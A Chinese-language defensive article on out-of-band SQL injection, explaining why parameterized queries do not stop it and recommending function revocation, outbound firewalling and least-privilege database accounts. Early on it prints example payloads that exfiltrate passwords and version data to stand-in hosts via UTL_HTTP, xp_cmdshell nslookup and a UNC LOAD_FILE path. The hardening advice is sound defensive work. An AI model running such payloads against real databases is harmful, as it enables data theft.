参数化查询对oob注入完全无效,因其仅防护sql语句中可参数化的值位置,而oob利用的是数据库系统函数(如utl_http.request、xp_cmdshell、load_file)的合法调用能力,不依赖sql拼接,只要权限存在即可触发外带。

带外数据外带(OOB)型SQL注入无法靠常规响应检测,防御重点不在“拦截请求”,而在“切断数据库向外发起通信的能力”。单纯依赖WAF或输入过滤基本无效。
为什么参数化查询对OOB注入完全无效
参数化查询只保护WHERE、ORDER BY等语句中可参数化的值位置,但OOB利用的是数据库自身的网络/文件/邮件功能——比如UTL_HTTP.REQUEST()、xp_cmdshell、LOAD_FILE()这类系统函数,它们的调用本身不依赖用户输入拼接SQL,而是直接执行。只要数据库账户有对应权限,攻击者就能通过合法语法触发外带行为。
- 参数化查询无法约束
SELECT UTL_HTTP.REQUEST('http://attacker.com/?data=' || (SELECT password FROM users WHERE id=1)) - 也无法阻止
EXEC xp_cmdshell 'nslookup ' + (SELECT @@version) + '.evil.com' - 更拦不住
SELECT LOAD_FILE('\\attacker.com\share\payload')(Windows UNC路径触发SMB回连)
必须禁用高危数据库函数与扩展
不同数据库暴露的OOB通道不同,需按实例逐项关闭,不能仅靠“默认配置”或“没启用就安全”的假设。
- MySQL:禁用
LOAD_FILE、SLEEP(虽非外带,但常配合OOB探测)、sys_exec(若安装了sys插件);移除FILE权限:REVOKE FILE ON *.* FROM 'app_user'@'%'; - PostgreSQL:禁用
pg_read_file、pg_ls_dir、curl扩展(如http或dblink),并确保custom_variable_classes未开放危险模块 - SQL Server:禁用
xp_cmdshell(sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 0; RECONFIGURE;)、sp_oacreate、OPENROWSET(尤其含ADSI或SQLNCLI提供者时) - Oracle:回收
UTL_HTTP、UTL_SMTP、UTL_INADDR、UTL_FILE的执行权限:REVOKE EXECUTE ON UTL_HTTP FROM app_user;
限制数据库服务器出站网络访问
即使函数未被禁用,只要数据库服务器无法主动连接外部地址,OOB就无法落地。这是最硬核、最有效的兜底手段。
- 操作系统层:用
iptables(Linux)或Windows 防火墙高级安全默认拒绝所有出站TCP/UDP,仅放行必要目标(如DNS服务器、上游DB主库、监控端点) - 云环境:AWS Security Group / 阿里云安全组 / Azure NSG 必须显式拒绝
0.0.0.0/0出方向,不能只依赖“无规则即拒绝”的模糊认知 - 特别注意DNS:很多OOB利用
SELECT host_name FROM v$database+UTL_INADDR.GET_HOST_ADDRESS做DNS探针,必须封掉UDP 53出向,或强制使用内网DNS且禁止递归查询外网
最小权限原则必须落实到具体对象
应用连接数据库使用的账号,不能是root、sa、SYSTEM或拥有DBA角色。权限必须精确到表、列、甚至行(通过行级安全策略),且明确拒绝执行系统包/过程。
- 避免用
GRANT ALL PRIVILEGES,改用GRANT SELECT, INSERT ON app.users TO app_user; - 检查是否存在隐式继承权限:PostgreSQL中
publicschema的USAGE可能让攻击者调用已安装的恶意扩展 - SQL Server中确认
app_user不在sysadmin、serveradmin、db_owner等固定服务器角色中 - 定期审计:
SELECT * FROM sys.database_permissions WHERE grantee_principal_id = USER_ID('app_user');
OOB型注入真正难防的地方在于:它不依赖报错、不依赖响应延时、甚至不依赖HTTP信道。一次成功的UTL_HTTP.REQUEST调用,可能在你还没收到任何告警时,就把整个mysql.user表发到了攻击者的VPS。所以防御动作必须前置——函数禁用、网络封锁、权限收紧,三者缺一不可,且每一步都要验证是否真实生效,而不是停留在“应该关了”的状态。











